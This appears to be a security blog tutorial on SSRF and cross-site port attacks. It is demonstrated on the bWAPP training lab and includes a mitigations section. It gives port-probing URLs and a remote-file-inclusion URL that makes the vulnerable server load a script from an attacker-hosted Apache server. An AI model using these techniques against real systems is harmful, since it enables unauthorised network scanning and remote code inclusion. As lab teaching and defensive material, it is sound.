Server Side Request Forgery (SSRF)

Introduction

Is your server protected against port scanning?  The general answer will be “Yes, I have a firewall which restricts access to internal servers from the Internet.” What if I tell you I can still scan the ports on your server and your firewall wouldn’t know about it!

If the web application running on a publicly exposed server is vulnerable to SSRF (Server Side Request Forgery) then it is possible to do port scans on the devices behind the firewall.

In this attack, specific payloads for different ports are crafted by the attacker and sent to the server. By analyzing the errors or the time-delays in different responses for different ports, the attacker can figure out the status of the ports open on the server. And while exploiting SSRF, the attacker’s machine is not directly interacting with the target server, the vulnerable server is doing all the dirty work for the attacker.

Agenda

In this article, the agenda is mainly, Cross Site Port Attack (XSPA), which is a type of SSRF attack.

An application is vulnerable to Cross Site Port Attacks if the application processes user supplied URLs and does not verify/sanitize the backend response received from remote servers before sending it back to the client.

In such a scenario, the attacker can insert port specific payloads and scan a target machine using the vulnerable server. Worse, instead of scanning some other target machine the payloads can be crafted which will be directed to the same vulnerable server itself. In this case, the HTTP packets are sent from the server to itself and the application sends the response to the attacker. By analyzing the responses (response error/time delay), the port status of the vulnerable server can be determined

SSRF and XSPA – are they the same??

SSRF and XSPA are similar but a bit different on several points, some of which are highlighted below:

1. SSRF is non HTTP dependent. SSRF also works with services that are not HTTP at source (like MSSQL/Oracle etc.)
2. SSRF uses XXE to attack internal applications and programs unlike XSPA which is self-contained.

To demonstrate this attack I will be using the bWAPP Framework as shown below:

 

Fig 1: Cross Site Port Attack (XSPA) is a type of SSRF.

SSRF basic

The idea is to find victim server that will allow sending packets initiated by the victim server to the local host interface of the victim server or to another server secured by a firewall from outside. Ideally, this interface must allow us to send any packet to any host and any port. And this interface must be accessed remotely without authentication or at least with minimum rights. This would work as follows:

• We send Packet A to Service A
• Service A sends to service B
• Services can be on same or different hosts
• We can manipulate some fields of packet B within packet A

Types of SSRF Attacks

Below are the different types of SSRF attacks. If you want to read more details about SSRF attacks then you can click here

 

Fig 2: Type of SSRF attack

SSRF proxy attack

• Trusted SSRF:  When we can send requests (Packet B) to remote services but only to those which are somehow predefined
• Remote SSRF: When we can send requests (Packet B) to any remote IP and port. This type has 3 subtypes depending on how much data we can control:

1. Simple Remote SSRF: No control on application level of Packet B
2. Partial Remote SSRF: Control on some fields of application level of Packet B
3. Full Remote SSRF: Full control on application level of Packet B

Different attacks which are possible using SSRF

Using Server Side Request Forgery attacks it’s possible to:

• Port scan intranet and external Internet facing servers
• Fingerprint internal (non-Internet exposed) network aware services
• Perform banner grabbing
• Run code on reachable machines
• Enumerate and attack services that are running on these hosts

Checking for Cross Site Port Attack

Example 1:

Consider a web application that provides a common functionality that allows a user to input a link to an external image from a third party server. Most social networking sites have this functionality that allows users to update their profile image by either uploading an image or by providing a URL to an image hosted elsewhere on the Internet. Which will look like this:

Fig 3: Yahoo pipes site (URL field may be injectable to SSRF)

Fig 4: Yahoo pipes site – Output is server banner version

Note: Always keep an eye out for functionality in the application which allows user input as a URL

Example 2: Let’s say when sending a message to a user in the chat section it is possible to add websites.

If we give it, http://test.com:80/ it will print out the contents of the test site as http/80 port is open. But if we gave it closed ports like http://test.com:31337/, as port is closed the output will not be displayed

Fig 5: http://sitename.com:80/ => Output

 Fig 6: http://sitename.com:31337/ => No output

The above examples show that we can try SSRF by just inserting the port number in the URL i.e.

• http://sitename.com:80/=> It gives an output (Port 80 is open)
• http://sitename.com:31337/ => No output (Port 31337 is closed)
• nmap.org:22 => output gives banner information (Say SSH-2.0-OpenSSH_5.3pl Debia-3ubuntu7)

So this is one way to check for SSRF and we will see other ways also to exploit SSRF such as by using RFI.

Attack Scenario

Before we move to the exploitation part let’s try to understand how we can perform this attack

 

Fig 7 – Exploitation of SSRF

Step 1: Attacker (Kali-Linux) will try to access the public facing server in our case say bWAPP (Local host)

Step 2: Let us assume that the bWAPP application is vulnerable to SSRF attack

Step 3: Attacker will perform XSPA- cross site port attack and scan the ports of victim machine on behalf of vulnerable server say bWAPP

Now we are clear about what we need to do and how to perform this attack so let’s start with exploitation part.

Exploitation of SSRF using RFI

For demonstration purposes, I will be using the purposefully vulnerable bWAPP Framework.

As an example, we shall demonstrate the exploitation of SSRF using RFI.

For more information and understanding on RFI attacks, refer to the OWASP Remote File Inclusion  article.We will be using the following:

• Bee-Box   – Is a custom Linux Ubuntu virtual machine (VM), pre-installed with bWAPP
• Kali Linux – Attacker machine

Start bWAPP on bee-box VM and login with bee/bug credentials.

Step 1: Navigate to bug hunt and select Remote & Local File Inclusion (RFI/LFI). Then click on hack button and the following page will be displayed

Fig 8: RFI in bWAPP

After submitting the request on the page, we notice a parameter language=lang_en.php in the GET URL.

This looks as a perfect place to try for RFI.

Note: You can download the list of Dorks for RFI – RFI List of Dork

Fig 9: RFI in bWAPP

So now we will replace language=lang_en.php to language=http://www.google.com

Fig 10: RFI exploitation in bWAPP

So now we know the vulnerable parameter where we can try SSRF.

Step 2: Exploiting SSRF

Attacker will be Kali Linux user and Local host (bWAPP) is publicly exposed server which attacker will access.

192.168.217.128 => Attacker machine (Kali Linux)

Fig 11: IP address of attacker machine (Kali-Linux)

1) In Kali start the apache service

Fig 12: Starting apache services attacker machine (Kali-Linux)

2) We will put a malicious file on the directory as shown below

Fig 13: Placing malicious file – attacker machine (Kali-Linux)

Here’s what the code looks like inside ssrf-1.txt that makes this attack possible

3) We now point the vulnerable language parameter to the script file hosted on our Apache server. Port scan hosts on the internal network using RFI

http://localhost/bWAPP/rlfi.php?ip=victim_ip_scan&language=http://192.168.217.128/ssrf-1.txt&action=go

4) SSRF exploitation

 

Fig 14: Calling the file from the URL –XSS (Cross-site-scripting)

Fig 15: Port Scan using SSRF (Only Port 80 is open)

Mitigations

There are multiple ways of mitigating this issue few of which are listed below:-

1. Error handling and messages – Display generic error messages to the client in case something goes wrong. If content type validation fails, display generic errors to the client like “Invalid Data retrieved”. Also ensure that the message is the same when the request fails on the backend and if invalid data is received. This will prevent the application from being abused as distinct error messages will be absent for closed and open ports. Under no circumstance should the raw response received from the remote server be displayed to the client.
2. Response Handling – Validating responses received from remote resources on the server side is the most basic mitigation that can be readily implemented. If a web application expects specific content type on the server, programmatically ensure that the data received satisfies checks imposed on the server before displaying or processing the data for the client.
3. Disable unwanted protocols – Allow only http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.
4. Blacklist IP addresses – Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices. Implementing this will protect servers from one time attack vectors. For example, even if the first fix (above) is implemented, the data is still being sent to the remote service. If an attack that does not need to see responses is executed (like a buffer overflow exploit) then this fix can actually prevent data from ever reaching the vulnerable device. Response handling is then not required at all as a request was never made.

Mitigating XSPA takes a combination of blacklisting IP addresses, whitelisting connect ports and protocols and proper non descriptive error handling.

References:

1. Detailed reference link for SSRF :-
2. Black hat presentation on SSRF :-http://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
3. Riyazwalikar presentation on SSRF http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html
4. Facebook SSRF bypass by Paulosyibelo http://www.paulosyibelo.com/2014/09/facebook-ssrfxspa-vulnerablity.html
5. Yahoo SSRF bypass by Abdelhamid ABOULOUAFA http://hexaudit.blogspot.in/2013/12/xspassrf-yahoo-as-example.html